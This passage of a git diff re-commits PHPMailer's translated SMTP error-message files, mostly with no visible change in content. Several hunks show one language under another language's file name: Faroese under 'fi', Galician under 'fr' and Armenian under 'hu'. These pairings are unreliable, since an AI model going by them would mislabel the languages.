= 'SMTP Viga: Ei õnnestunud luua ühendust SMTP serveriga.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Viga: Vigased andmed.'; -$PHPMAILER_LANG['empty_message'] = 'Tühi kirja sisu'; -$PHPMAILER_LANG["encoding"] = 'Tundmatu kodeering: '; -$PHPMAILER_LANG['execute'] = 'Tegevus ebaõnnestus: '; -$PHPMAILER_LANG['file_access'] = 'Pole piisavalt õiguseid järgneva faili avamiseks: '; -$PHPMAILER_LANG['file_open'] = 'Faili Viga: Faili avamine ebaõnnestus: '; -$PHPMAILER_LANG['from_failed'] = 'Järgnev saatja e-posti aadress on vigane: '; -$PHPMAILER_LANG['instantiate'] = 'mail funktiooni käivitamine ebaõnnestus.'; -$PHPMAILER_LANG['invalid_address'] = 'Saatmine peatatud, e-posti address vigane: '; -$PHPMAILER_LANG['provide_address'] = 'Te peate määrama vähemalt ühe saaja e-posti aadressi.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' maileri tugi puudub.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Viga: Järgnevate saajate e-posti aadressid on vigased: '; -$PHPMAILER_LANG["signing"] = 'Viga allkirjastamisel: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() ebaõnnestus.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP serveri viga: '; -$PHPMAILER_LANG['variable_set'] = 'Ei õnnestunud määrata või lähtestada muutujat: '; -$PHPMAILER_LANG['extension_missing'] = 'Nõutud laiendus on puudu: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP Viga: Autoriseerimise viga.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP Viga: Ei õnnestunud luua ühendust SMTP serveriga.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Viga: Vigased andmed.'; +$PHPMAILER_LANG['empty_message'] = 'Tühi kirja sisu'; +$PHPMAILER_LANG["encoding"] = 'Tundmatu kodeering: '; +$PHPMAILER_LANG['execute'] = 'Tegevus ebaõnnestus: '; +$PHPMAILER_LANG['file_access'] = 'Pole piisavalt õiguseid järgneva faili avamiseks: '; +$PHPMAILER_LANG['file_open'] = 'Faili Viga: Faili avamine ebaõnnestus: '; +$PHPMAILER_LANG['from_failed'] = 'Järgnev saatja e-posti aadress on vigane: '; +$PHPMAILER_LANG['instantiate'] = 'mail funktiooni käivitamine ebaõnnestus.'; +$PHPMAILER_LANG['invalid_address'] = 'Saatmine peatatud, e-posti address vigane: '; +$PHPMAILER_LANG['provide_address'] = 'Te peate määrama vähemalt ühe saaja e-posti aadressi.'; +$PHPMAILER_LANG['mailer_not_supported'] = ' maileri tugi puudub.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP Viga: Järgnevate saajate e-posti aadressid on vigased: '; +$PHPMAILER_LANG["signing"] = 'Viga allkirjastamisel: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() ebaõnnestus.'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP serveri viga: '; +$PHPMAILER_LANG['variable_set'] = 'Ei õnnestunud määrata või lähtestada muutujat: '; +$PHPMAILER_LANG['extension_missing'] = 'Nõutud laiendus on puudu: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-fa.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-fa.php index 010316f8a1..295a47f95c 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-fa.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-fa.php @@ -1,28 +1,28 @@ - - * @author Mohammad Hossein Mojtahedi - */ - -$PHPMAILER_LANG['authenticate'] = 'خطای SMTP: احراز هویت با شکست مواجه شد.'; -$PHPMAILER_LANG['connect_host'] = 'خطای SMTP: اتصال به سرور SMTP برقرار نشد.'; -$PHPMAILER_LANG['data_not_accepted'] = 'خطای SMTP: داده‌ها نا‌درست هستند.'; -$PHPMAILER_LANG['empty_message'] = 'بخش متن پیام خالی است.'; -$PHPMAILER_LANG['encoding'] = 'کد‌گذاری نا‌شناخته: '; -$PHPMAILER_LANG['execute'] = 'امکان اجرا وجود ندارد: '; -$PHPMAILER_LANG['file_access'] = 'امکان دسترسی به فایل وجود ندارد: '; -$PHPMAILER_LANG['file_open'] = 'خطای File: امکان بازکردن فایل وجود ندارد: '; -$PHPMAILER_LANG['from_failed'] = 'آدرس فرستنده اشتباه است: '; -$PHPMAILER_LANG['instantiate'] = 'امکان معرفی تابع ایمیل وجود ندارد.'; -$PHPMAILER_LANG['invalid_address'] = 'آدرس ایمیل معتبر نیست: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer پشتیبانی نمی‌شود.'; -$PHPMAILER_LANG['provide_address'] = 'باید حداقل یک آدرس گیرنده وارد کنید.'; -$PHPMAILER_LANG['recipients_failed'] = 'خطای SMTP: ارسال به آدرس گیرنده با خطا مواجه شد: '; -$PHPMAILER_LANG['signing'] = 'خطا در امضا: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'خطا در اتصال به SMTP.'; -$PHPMAILER_LANG['smtp_error'] = 'خطا در SMTP Server: '; -$PHPMAILER_LANG['variable_set'] = 'امکان ارسال یا ارسال مجدد متغیر‌ها وجود ندارد: '; -$PHPMAILER_LANG['extension_missing'] = 'افزونه موجود نیست: '; + + * @author Mohammad Hossein Mojtahedi + */ + +$PHPMAILER_LANG['authenticate'] = 'خطای SMTP: احراز هویت با شکست مواجه شد.'; +$PHPMAILER_LANG['connect_host'] = 'خطای SMTP: اتصال به سرور SMTP برقرار نشد.'; +$PHPMAILER_LANG['data_not_accepted'] = 'خطای SMTP: داده‌ها نا‌درست هستند.'; +$PHPMAILER_LANG['empty_message'] = 'بخش متن پیام خالی است.'; +$PHPMAILER_LANG['encoding'] = 'کد‌گذاری نا‌شناخته: '; +$PHPMAILER_LANG['execute'] = 'امکان اجرا وجود ندارد: '; +$PHPMAILER_LANG['file_access'] = 'امکان دسترسی به فایل وجود ندارد: '; +$PHPMAILER_LANG['file_open'] = 'خطای File: امکان بازکردن فایل وجود ندارد: '; +$PHPMAILER_LANG['from_failed'] = 'آدرس فرستنده اشتباه است: '; +$PHPMAILER_LANG['instantiate'] = 'امکان معرفی تابع ایمیل وجود ندارد.'; +$PHPMAILER_LANG['invalid_address'] = 'آدرس ایمیل معتبر نیست: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer پشتیبانی نمی‌شود.'; +$PHPMAILER_LANG['provide_address'] = 'باید حداقل یک آدرس گیرنده وارد کنید.'; +$PHPMAILER_LANG['recipients_failed'] = 'خطای SMTP: ارسال به آدرس گیرنده با خطا مواجه شد: '; +$PHPMAILER_LANG['signing'] = 'خطا در امضا: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'خطا در اتصال به SMTP.'; +$PHPMAILER_LANG['smtp_error'] = 'خطا در SMTP Server: '; +$PHPMAILER_LANG['variable_set'] = 'امکان ارسال یا ارسال مجدد متغیر‌ها وجود ندارد: '; +$PHPMAILER_LANG['extension_missing'] = 'افزونه موجود نیست: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-fi.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-fi.php index b50b06f630..243c05489e 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-fi.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-fi.php @@ -1,28 +1,28 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP feilur: Kundi ikki góðkenna.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP feilur: Kundi ikki knýta samband við SMTP vert.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP feilur: Data ikki góðkent.'; -//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; -$PHPMAILER_LANG['encoding'] = 'Ókend encoding: '; -$PHPMAILER_LANG['execute'] = 'Kundi ikki útføra: '; -$PHPMAILER_LANG['file_access'] = 'Kundi ikki tilganga fílu: '; -$PHPMAILER_LANG['file_open'] = 'Fílu feilur: Kundi ikki opna fílu: '; -$PHPMAILER_LANG['from_failed'] = 'fylgjandi Frá/From adressa miseydnaðist: '; -$PHPMAILER_LANG['instantiate'] = 'Kuni ikki instantiera mail funktión.'; -//$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' er ikki supporterað.'; -$PHPMAILER_LANG['provide_address'] = 'Tú skal uppgeva minst móttakara-emailadressu(r).'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Feilur: Fylgjandi móttakarar miseydnaðust: '; -//$PHPMAILER_LANG['signing'] = 'Signing Error: '; -//$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; -//$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; -//$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP feilur: Kundi ikki góðkenna.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP feilur: Kundi ikki knýta samband við SMTP vert.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP feilur: Data ikki góðkent.'; +//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; +$PHPMAILER_LANG['encoding'] = 'Ókend encoding: '; +$PHPMAILER_LANG['execute'] = 'Kundi ikki útføra: '; +$PHPMAILER_LANG['file_access'] = 'Kundi ikki tilganga fílu: '; +$PHPMAILER_LANG['file_open'] = 'Fílu feilur: Kundi ikki opna fílu: '; +$PHPMAILER_LANG['from_failed'] = 'fylgjandi Frá/From adressa miseydnaðist: '; +$PHPMAILER_LANG['instantiate'] = 'Kuni ikki instantiera mail funktión.'; +//$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' er ikki supporterað.'; +$PHPMAILER_LANG['provide_address'] = 'Tú skal uppgeva minst móttakara-emailadressu(r).'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP Feilur: Fylgjandi móttakarar miseydnaðust: '; +//$PHPMAILER_LANG['signing'] = 'Signing Error: '; +//$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; +//$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; +//$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; +//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-fr.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-fr.php index 9ac12b9b9f..b57f0ec660 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-fr.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-fr.php @@ -1,32 +1,32 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'Erro SMTP: Non puido ser autentificado.'; -$PHPMAILER_LANG['connect_host'] = 'Erro SMTP: Non puido conectar co servidor SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Erro SMTP: Datos non aceptados.'; -$PHPMAILER_LANG['empty_message'] = 'Corpo da mensaxe vacía'; -$PHPMAILER_LANG['encoding'] = 'Codificación descoñecida: '; -$PHPMAILER_LANG['execute'] = 'Non puido ser executado: '; -$PHPMAILER_LANG['file_access'] = 'Nob puido acceder ó arquivo: '; -$PHPMAILER_LANG['file_open'] = 'Erro de Arquivo: No puido abrir o arquivo: '; -$PHPMAILER_LANG['from_failed'] = 'A(s) seguinte(s) dirección(s) de remitente(s) deron erro: '; -$PHPMAILER_LANG['instantiate'] = 'Non puido crear unha instancia da función Mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Non puido envia-lo correo: dirección de email inválida: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer non está soportado.'; -$PHPMAILER_LANG['provide_address'] = 'Debe engadir polo menos unha dirección de email coma destino.'; -$PHPMAILER_LANG['recipients_failed'] = 'Erro SMTP: Os seguintes destinos fallaron: '; -$PHPMAILER_LANG['signing'] = 'Erro ó firmar: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fallou.'; -$PHPMAILER_LANG['smtp_error'] = 'Erro do servidor SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Non puidemos axustar ou reaxustar a variábel: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'Erro SMTP: Non puido ser autentificado.'; +$PHPMAILER_LANG['connect_host'] = 'Erro SMTP: Non puido conectar co servidor SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Erro SMTP: Datos non aceptados.'; +$PHPMAILER_LANG['empty_message'] = 'Corpo da mensaxe vacía'; +$PHPMAILER_LANG['encoding'] = 'Codificación descoñecida: '; +$PHPMAILER_LANG['execute'] = 'Non puido ser executado: '; +$PHPMAILER_LANG['file_access'] = 'Nob puido acceder ó arquivo: '; +$PHPMAILER_LANG['file_open'] = 'Erro de Arquivo: No puido abrir o arquivo: '; +$PHPMAILER_LANG['from_failed'] = 'A(s) seguinte(s) dirección(s) de remitente(s) deron erro: '; +$PHPMAILER_LANG['instantiate'] = 'Non puido crear unha instancia da función Mail.'; +$PHPMAILER_LANG['invalid_address'] = 'Non puido envia-lo correo: dirección de email inválida: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer non está soportado.'; +$PHPMAILER_LANG['provide_address'] = 'Debe engadir polo menos unha dirección de email coma destino.'; +$PHPMAILER_LANG['recipients_failed'] = 'Erro SMTP: Os seguintes destinos fallaron: '; +$PHPMAILER_LANG['signing'] = 'Erro ó firmar: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fallou.'; +$PHPMAILER_LANG['smtp_error'] = 'Erro do servidor SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'Non puidemos axustar ou reaxustar a variábel: '; +//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-he.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-he.php index ad42eb711b..b123aa5fc0 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-he.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-he.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'שגיאת SMTP: פעולת האימות נכשלה.'; -$PHPMAILER_LANG['connect_host'] = 'שגיאת SMTP: לא הצלחתי להתחבר לשרת SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'שגיאת SMTP: מידע לא התקבל.'; -$PHPMAILER_LANG['empty_message'] = 'גוף ההודעה ריק'; -$PHPMAILER_LANG['invalid_address'] = 'כתובת שגויה: '; -$PHPMAILER_LANG['encoding'] = 'קידוד לא מוכר: '; -$PHPMAILER_LANG['execute'] = 'לא הצלחתי להפעיל את: '; -$PHPMAILER_LANG['file_access'] = 'לא ניתן לגשת לקובץ: '; -$PHPMAILER_LANG['file_open'] = 'שגיאת קובץ: לא ניתן לגשת לקובץ: '; -$PHPMAILER_LANG['from_failed'] = 'כתובות הנמענים הבאות נכשלו: '; -$PHPMAILER_LANG['instantiate'] = 'לא הצלחתי להפעיל את פונקציית המייל.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' אינה נתמכת.'; -$PHPMAILER_LANG['provide_address'] = 'חובה לספק לפחות כתובת אחת של מקבל המייל.'; -$PHPMAILER_LANG['recipients_failed'] = 'שגיאת SMTP: הנמענים הבאים נכשלו: '; -$PHPMAILER_LANG['signing'] = 'שגיאת חתימה: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; -$PHPMAILER_LANG['smtp_error'] = 'שגיאת שרת SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'לא ניתן לקבוע או לשנות את המשתנה: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'שגיאת SMTP: פעולת האימות נכשלה.'; +$PHPMAILER_LANG['connect_host'] = 'שגיאת SMTP: לא הצלחתי להתחבר לשרת SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'שגיאת SMTP: מידע לא התקבל.'; +$PHPMAILER_LANG['empty_message'] = 'גוף ההודעה ריק'; +$PHPMAILER_LANG['invalid_address'] = 'כתובת שגויה: '; +$PHPMAILER_LANG['encoding'] = 'קידוד לא מוכר: '; +$PHPMAILER_LANG['execute'] = 'לא הצלחתי להפעיל את: '; +$PHPMAILER_LANG['file_access'] = 'לא ניתן לגשת לקובץ: '; +$PHPMAILER_LANG['file_open'] = 'שגיאת קובץ: לא ניתן לגשת לקובץ: '; +$PHPMAILER_LANG['from_failed'] = 'כתובות הנמענים הבאות נכשלו: '; +$PHPMAILER_LANG['instantiate'] = 'לא הצלחתי להפעיל את פונקציית המייל.'; +$PHPMAILER_LANG['mailer_not_supported'] = ' אינה נתמכת.'; +$PHPMAILER_LANG['provide_address'] = 'חובה לספק לפחות כתובת אחת של מקבל המייל.'; +$PHPMAILER_LANG['recipients_failed'] = 'שגיאת SMTP: הנמענים הבאים נכשלו: '; +$PHPMAILER_LANG['signing'] = 'שגיאת חתימה: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; +$PHPMAILER_LANG['smtp_error'] = 'שגיאת שרת SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'לא ניתן לקבוע או לשנות את המשתנה: '; +//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-hi.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-hi.php index 9cb2c1c905..d973a35961 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-hi.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-hi.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP त्रुटि: प्रामाणिकता की जांच नहीं हो सका। '; -$PHPMAILER_LANG['connect_host'] = 'SMTP त्रुटि: SMTP सर्वर से कनेक्ट नहीं हो सका। '; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP त्रुटि: डेटा स्वीकार नहीं किया जाता है। '; -$PHPMAILER_LANG['empty_message'] = 'संदेश खाली है। '; -$PHPMAILER_LANG['encoding'] = 'अज्ञात एन्कोडिंग प्रकार। '; -$PHPMAILER_LANG['execute'] = 'आदेश को निष्पादित करने में विफल। '; -$PHPMAILER_LANG['file_access'] = 'फ़ाइल उपलब्ध नहीं है। '; -$PHPMAILER_LANG['file_open'] = 'फ़ाइल त्रुटि: फाइल को खोला नहीं जा सका। '; -$PHPMAILER_LANG['from_failed'] = 'प्रेषक का पता गलत है। '; -$PHPMAILER_LANG['instantiate'] = 'मेल फ़ंक्शन कॉल नहीं कर सकता है।'; -$PHPMAILER_LANG['invalid_address'] = 'पता गलत है। '; -$PHPMAILER_LANG['mailer_not_supported'] = 'मेल सर्वर के साथ काम नहीं करता है। '; -$PHPMAILER_LANG['provide_address'] = 'आपको कम से कम एक प्राप्तकर्ता का ई-मेल पता प्रदान करना होगा।'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP त्रुटि: निम्न प्राप्तकर्ताओं को पते भेजने में विफल। '; -$PHPMAILER_LANG['signing'] = 'साइनअप त्रुटि:। '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP का connect () फ़ंक्शन विफल हुआ। '; -$PHPMAILER_LANG['smtp_error'] = 'SMTP सर्वर त्रुटि। '; -$PHPMAILER_LANG['variable_set'] = 'चर को बना या संशोधित नहीं किया जा सकता। '; -$PHPMAILER_LANG['extension_missing'] = 'एक्सटेन्षन गायब है: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP त्रुटि: प्रामाणिकता की जांच नहीं हो सका। '; +$PHPMAILER_LANG['connect_host'] = 'SMTP त्रुटि: SMTP सर्वर से कनेक्ट नहीं हो सका। '; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP त्रुटि: डेटा स्वीकार नहीं किया जाता है। '; +$PHPMAILER_LANG['empty_message'] = 'संदेश खाली है। '; +$PHPMAILER_LANG['encoding'] = 'अज्ञात एन्कोडिंग प्रकार। '; +$PHPMAILER_LANG['execute'] = 'आदेश को निष्पादित करने में विफल। '; +$PHPMAILER_LANG['file_access'] = 'फ़ाइल उपलब्ध नहीं है। '; +$PHPMAILER_LANG['file_open'] = 'फ़ाइल त्रुटि: फाइल को खोला नहीं जा सका। '; +$PHPMAILER_LANG['from_failed'] = 'प्रेषक का पता गलत है। '; +$PHPMAILER_LANG['instantiate'] = 'मेल फ़ंक्शन कॉल नहीं कर सकता है।'; +$PHPMAILER_LANG['invalid_address'] = 'पता गलत है। '; +$PHPMAILER_LANG['mailer_not_supported'] = 'मेल सर्वर के साथ काम नहीं करता है। '; +$PHPMAILER_LANG['provide_address'] = 'आपको कम से कम एक प्राप्तकर्ता का ई-मेल पता प्रदान करना होगा।'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP त्रुटि: निम्न प्राप्तकर्ताओं को पते भेजने में विफल। '; +$PHPMAILER_LANG['signing'] = 'साइनअप त्रुटि:। '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP का connect () फ़ंक्शन विफल हुआ। '; +$PHPMAILER_LANG['smtp_error'] = 'SMTP सर्वर त्रुटि। '; +$PHPMAILER_LANG['variable_set'] = 'चर को बना या संशोधित नहीं किया जा सकता। '; +$PHPMAILER_LANG['extension_missing'] = 'एक्सटेन्षन गायब है: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-hr.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-hr.php index fd757aead5..cacb6c37e5 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-hr.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-hr.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Greška: Neuspjela autentikacija.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Greška: Ne mogu se spojiti na SMTP poslužitelj.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Greška: Podatci nisu prihvaćeni.'; -$PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; -$PHPMAILER_LANG['encoding'] = 'Nepoznati encoding: '; -$PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; -$PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; -$PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; -$PHPMAILER_LANG['from_failed'] = 'SMTP Greška: Slanje s navedenih e-mail adresa nije uspjelo: '; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Greška: Slanje na navedenih e-mail adresa nije uspjelo: '; -$PHPMAILER_LANG['instantiate'] = 'Ne mogu pokrenuti mail funkcionalnost.'; -$PHPMAILER_LANG['invalid_address'] = 'E-mail nije poslan. Neispravna e-mail adresa: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer nije podržan.'; -$PHPMAILER_LANG['provide_address'] = 'Definirajte barem jednu adresu primatelja.'; -$PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Spajanje na SMTP poslužitelj nije uspjelo.'; -$PHPMAILER_LANG['smtp_error'] = 'Greška SMTP poslužitelja: '; -$PHPMAILER_LANG['variable_set'] = 'Ne mogu postaviti varijablu niti ju vratiti nazad: '; -$PHPMAILER_LANG['extension_missing'] = 'Nedostaje proširenje: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP Greška: Neuspjela autentikacija.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP Greška: Ne mogu se spojiti na SMTP poslužitelj.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Greška: Podatci nisu prihvaćeni.'; +$PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; +$PHPMAILER_LANG['encoding'] = 'Nepoznati encoding: '; +$PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; +$PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; +$PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; +$PHPMAILER_LANG['from_failed'] = 'SMTP Greška: Slanje s navedenih e-mail adresa nije uspjelo: '; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP Greška: Slanje na navedenih e-mail adresa nije uspjelo: '; +$PHPMAILER_LANG['instantiate'] = 'Ne mogu pokrenuti mail funkcionalnost.'; +$PHPMAILER_LANG['invalid_address'] = 'E-mail nije poslan. Neispravna e-mail adresa: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer nije podržan.'; +$PHPMAILER_LANG['provide_address'] = 'Definirajte barem jednu adresu primatelja.'; +$PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Spajanje na SMTP poslužitelj nije uspjelo.'; +$PHPMAILER_LANG['smtp_error'] = 'Greška SMTP poslužitelja: '; +$PHPMAILER_LANG['variable_set'] = 'Ne mogu postaviti varijablu niti ju vratiti nazad: '; +$PHPMAILER_LANG['extension_missing'] = 'Nedostaje proširenje: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-hu.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-hu.php index 5d851f36b0..e6b58b0dbe 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-hu.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-hu.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP -ի սխալ: չհաջողվեց ստուգել իսկությունը.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP -ի սխալ: չհաջողվեց կապ հաստատել SMTP սերվերի հետ.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP -ի սխալ: տվյալները ընդունված չեն.'; -$PHPMAILER_LANG['empty_message'] = 'Հաղորդագրությունը դատարկ է'; -$PHPMAILER_LANG['encoding'] = 'Կոդավորման անհայտ տեսակ: '; -$PHPMAILER_LANG['execute'] = 'Չհաջողվեց իրականացնել հրամանը: '; -$PHPMAILER_LANG['file_access'] = 'Ֆայլը հասանելի չէ: '; -$PHPMAILER_LANG['file_open'] = 'Ֆայլի սխալ: ֆայլը չհաջողվեց բացել: '; -$PHPMAILER_LANG['from_failed'] = 'Ուղարկողի հետևյալ հասցեն սխալ է: '; -$PHPMAILER_LANG['instantiate'] = 'Հնարավոր չէ կանչել mail ֆունկցիան.'; -$PHPMAILER_LANG['invalid_address'] = 'Հասցեն սխալ է: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' փոստային սերվերի հետ չի աշխատում.'; -$PHPMAILER_LANG['provide_address'] = 'Անհրաժեշտ է տրամադրել գոնե մեկ ստացողի e-mail հասցե.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP -ի սխալ: չի հաջողվել ուղարկել հետևյալ ստացողների հասցեներին: '; -$PHPMAILER_LANG['signing'] = 'Ստորագրման սխալ: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP -ի connect() ֆունկցիան չի հաջողվել'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP սերվերի սխալ: '; -$PHPMAILER_LANG['variable_set'] = 'Չի հաջողվում ստեղծել կամ վերափոխել փոփոխականը: '; -$PHPMAILER_LANG['extension_missing'] = 'Հավելվածը բացակայում է: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP -ի սխալ: չհաջողվեց ստուգել իսկությունը.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP -ի սխալ: չհաջողվեց կապ հաստատել SMTP սերվերի հետ.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP -ի սխալ: տվյալները ընդունված չեն.'; +$PHPMAILER_LANG['empty_message'] = 'Հաղորդագրությունը դատարկ է'; +$PHPMAILER_LANG['encoding'] = 'Կոդավորման անհայտ տեսակ: '; +$PHPMAILER_LANG['execute'] = 'Չհաջողվեց իրականացնել հրամանը: '; +$PHPMAILER_LANG['file_access'] = 'Ֆայլը հասանելի չէ: '; +$PHPMAILER_LANG['file_open'] = 'Ֆայլի սխալ: ֆայլը չհաջողվեց բացել: '; +$PHPMAILER_LANG['from_failed'] = 'Ուղարկողի հետևյալ հասցեն սխալ է: '; +$PHPMAILER_LANG['instantiate'] = 'Հնարավոր չէ կանչել mail ֆունկցիան.'; +$PHPMAILER_LANG['invalid_address'] = 'Հասցեն սխալ է: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' փոստային սերվերի հետ չի աշխատում.'; +$PHPMAILER_LANG['provide_address'] = 'Անհրաժեշտ է տրամադրել գոնե մեկ ստացողի e-mail հասցե.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP -ի սխալ: չի հաջողվել ուղարկել հետևյալ ստացողների հասցեներին: '; +$PHPMAILER_LANG['signing'] = 'Ստորագրման սխալ: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP -ի connect() ֆունկցիան չի հաջողվել'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP սերվերի սխալ: '; +$PHPMAILER_LANG['variable_set'] = 'Չի հաջողվում ստեղծել կամ վերափոխել փոփոխականը: '; +$PHPMAILER_LANG['extension_missing'] = 'Հավելվածը բացակայում է: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-id.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-id.php index b314c15eab..212a11f135 100644 --- 